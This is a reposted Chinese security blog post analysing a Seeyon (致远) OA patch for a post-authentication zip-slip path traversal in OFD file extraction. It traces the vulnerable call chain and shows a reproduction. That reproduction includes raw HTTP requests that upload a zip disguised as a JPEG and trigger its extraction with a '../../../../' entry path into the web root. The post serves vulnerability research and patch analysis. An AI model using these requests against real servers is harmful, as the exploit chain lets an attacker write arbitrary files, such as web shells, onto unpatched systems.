致远OA_ofd解压漏洞安全补丁分析

渗透技巧 9个月前 admin
469 0 0


0x00 前言

本篇文章主要内容为:致远OA_ofd解压漏洞安全补丁分析,这是一个后台漏洞。

漏洞影响范围:V8.0SP2-V8.1SP2

复现成功版本:V8.1SP1


0x01 补丁分析

补丁发布时间:2023年6月

补丁下载地址:

https://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=166

致远OA_ofd解压漏洞安全补丁分析


对比源文件和补丁,可以看出漏洞方法为 unzip

这里我没有细看,根据经验推测,这里漏洞产生的原因是解压的文件可以穿越目录,大概漏洞修复方式是判断将要解压的文件是否在当前目录中,如果检测到压缩包中的文件利用 ../ 穿越了目录,则直接 return; 退出。

致远OA_ofd解压漏洞安全补丁分析


unzip 是一个公共静态方法

seeyon-apps-edoc.jar!/com/seeyon/apps/govdoc/gb/util/OfdJavaZipUtil.class # unzip
致远OA_ofd解压漏洞安全补丁分析


我们直接去搜索调用关键字

OfdJavaZipUtil.unzip

搜索结果只有一处调用,此处还未到Controller层,我们需要继续向上找调用,这里 getOfdMetadata 是一个私有方法只能在本类中调用

seeyon-apps-edoc.jar!/com/seeyon/apps/govdoc/gb/manager/impl/GovdocGBManagerImpl.class # getOfdMetadata
致远OA_ofd解压漏洞安全补丁分析


我们在本类中搜索关键字

.getOfdMetadata(

找到了两处调用(此处注意区分,勿被同名方法混淆)

.getOfdMetadata(
.resetOfdMetadata(
致远OA_ofd解压漏洞安全补丁分析
致远OA_ofd解压漏洞安全补丁分析


继续向上全局搜索

.getOfdMetadata(  #一处调用
.resetOfdMetadata(  #两处调用
致远OA_ofd解压漏洞安全补丁分析


大致思路如上,后续就不再贴试错的图,搜索关键字

.getOfdMetaDataFromOfdFile(
致远OA_ofd解压漏洞安全补丁分析

最终找到

seeyon-apps-common.jar!/com/seeyon/ctp/common/content/mainbody/MainbodyController.class
|
public ModelAndView invokingForm(HttpServletRequest request, HttpServletResponse response){...}
致远OA_ofd解压漏洞安全补丁分析


搜索类名 MainbodyController ,从配置文件中找到对应路由,配了路由就说明这条线是通的了

/content/content.do
致远OA_ofd解压漏洞安全补丁分析
WEB-INF/cfgHome/spring/spring-common-controller.xml


经过反复调试,构造出如下数据包

POST /seeyon/content/content.do HTTP/1.1
Host: 192.168.77.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 uacq
Cookie: JSESSIONID=1C2D00B552035CE0E49923764DFE352A
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Connection: close

method=invokingForm&isNew=true&subApp=2&ofdFileId=9999

下断点调试,几个关键位置如下:

isNew 参数不能为空或 fasle

致远OA_ofd解压漏洞安全补丁分析


ofdFileId 参数为最终查询的文件id,不能为空(关键参数)

subApp 参数需要为 2

致远OA_ofd解压漏洞安全补丁分析


一直往下跟,最终到了这里

致远OA_ofd解压漏洞安全补丁分析

当 id 不存在时,就直接抛异常退出了

致远OA_ofd解压漏洞安全补丁分析
致远OA_ofd解压漏洞安全补丁分析

因为一开始没太看懂这里的类和表对应关系,就在github上找了个SQL语句监控工具,定位到了对应查询的表

致远OA_ofd解压漏洞安全补丁分析


数据库表:ctp_file

致远OA_ofd解压漏洞安全补丁分析


我们从数据库中复制一个id,继续调试,这里查询到文件,就不再抛异常了。

可以看到,这里通过数据库中查询到的信息是对应本地上的一个文件的

致远OA_ofd解压漏洞安全补丁分析


致远OA_ofd解压漏洞安全补丁分析


下一个关键节点,来到了危险函数 unzip 的调用位置

致远OA_ofd解压漏洞安全补丁分析


进入 unzip ,因为该 id 对应的不是 压缩文件,这里转换会直接抛异常退出

致远OA_ofd解压漏洞安全补丁分析


经过测试,如果对应的为压缩文件,就会进行后续的自解压操作。到这里,我们可以梳理下思路了,我们可控的点是 ofdFileId 参数,ofdFileId 会带入数据库中查询到对应的文件位置,接下来会将该文件复制到临时目录进行解压操作。很明显我们还需要另一个接口去配合上上传一个文件,且该文件需要在 ctp_file 表中被记录。

我们以向 ctp_file 数据库表中写入数据这个操作为切入点,去搜索对应的上传功能接口。

v3xFileDAO.save
致远OA_ofd解压漏洞安全补丁分析


经过不断的试错,最终定位到了一个满足要求的接口。

seeyon-ctp-core.jar!/com/seeyon/ctp/common/fileupload/FileUploadController.class # processUploadForCap4
致远OA_ofd解压漏洞安全补丁分析


一直往下跟,到 uploadFiles 方法这里,此处需要注意的地方,当上传文件类型为 Content-Type: image/jpeg 时,可以轻松满足”上传+写入数据库”操作,上传后的文件名会被重命名为随机字符,所以上传文件后缀写一个常见的白名单即可。

seeyon-ctp-core.jar!/com/seeyon/ctp/common/filemanager/manager/FileManagerImpl.class # uploadFiles
致远OA_ofd解压漏洞安全补丁分析

致远OA_ofd解压漏洞安全补丁分析

分析完成,自解压接口的调用堆栈如下:

unzip(StringString, Map):107, OfdJavaZipUtil (com.seeyon.apps.govdoc.gb.util)
getOfdMetadata(Long, File, boolean, Map):1455, GovdocGBManagerImpl (com.seeyon.apps.govdoc.gb.manager.impl)
getOfdMetadata(Long):1427, GovdocGBManagerImpl (com.seeyon.apps.govdoc.gb.manager.impl)
invoke(int, ObjectObject[]):-1, GovdocGBManagerImpl$$FastClassBySpringCGLIB$$199dbca (com.seeyon.apps.govdoc.gb.manager.impl)
getOfdMetadata(Long):-1, GovdocGBManagerImpl$$EnhancerBySpringCGLIB$$d8d6a84b (com.seeyon.apps.govdoc.gb.manager.impl)
getOfdMetaDataFromOfdFile(Long):3817, EdocApiImpl (com.seeyon.apps.edoc.api)
invokingForm(HttpServletRequest, HttpServletResponse):508, MainbodyController (com.seeyon.ctp.common.content.mainbody)


0x02 漏洞复现

第一步,制作一个zip,其内的文件需要穿越到如下路径

../../../../ApacheJetspeed/webapps/ROOT/ceshi.txt

第二步,上传压缩包,获取 fileUrl 参数

POST /seeyon/fileUpload.do HTTP/1.1
Host: 192.168.77.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 uacq
Cookie: JSESSIONID=EB4A0560A238FF48DF116C3364FD0F5A
Content-Type: multipart/form-data; boundary=--------------------------662773377827359540248053
Content-Length: 1149
Connection: close

----------------------------662773377827359540248053
Content-Disposition: form-data; name="method"

processUploadForCap4
----------------------------662773377827359540248053
Content-Disposition: form-data; name="file"; filename="hello.jpg"
Content-Type: image/jpeg

HelloWorld
----------------------------662773377827359540248053--
致远OA_ofd解压漏洞安全补丁分析


可以看到文件上传到了服务器上,同时文件信息写入了数据库中

致远OA_ofd解压漏洞安全补丁分析
致远OA_ofd解压漏洞安全补丁分析


第三步,通过接口去解压指定 id 对应的文件

POST /seeyon/content/content.do HTTP/1.1
Host: 192.168.77.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 uacq
Cookie: JSESSIONID=EB4A0560A238FF48DF116C3364FD0F5A
If-Modified-Since: Sun, 07 Aug 2022 00:34:17 GMT
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Connection: close

method=invokingForm&isNew=true&subApp=2&ofdFileId=1068313048246797259
致远OA_ofd解压漏洞安全补丁分析


利用成功

致远OA_ofd解压漏洞安全补丁分析


0x04 结语

  1. 审计代码时,危险函数调用可以通过数据库查询与另一个接口连接上,寻找一些较隐蔽的漏洞,我学到了


原文始发于微信公众号(XINYU2428):致远OA_ofd解压漏洞安全补丁分析

版权声明:admin 发表于 2023年8月1日 下午10:29。
转载请注明:致远OA_ofd解压漏洞安全补丁分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...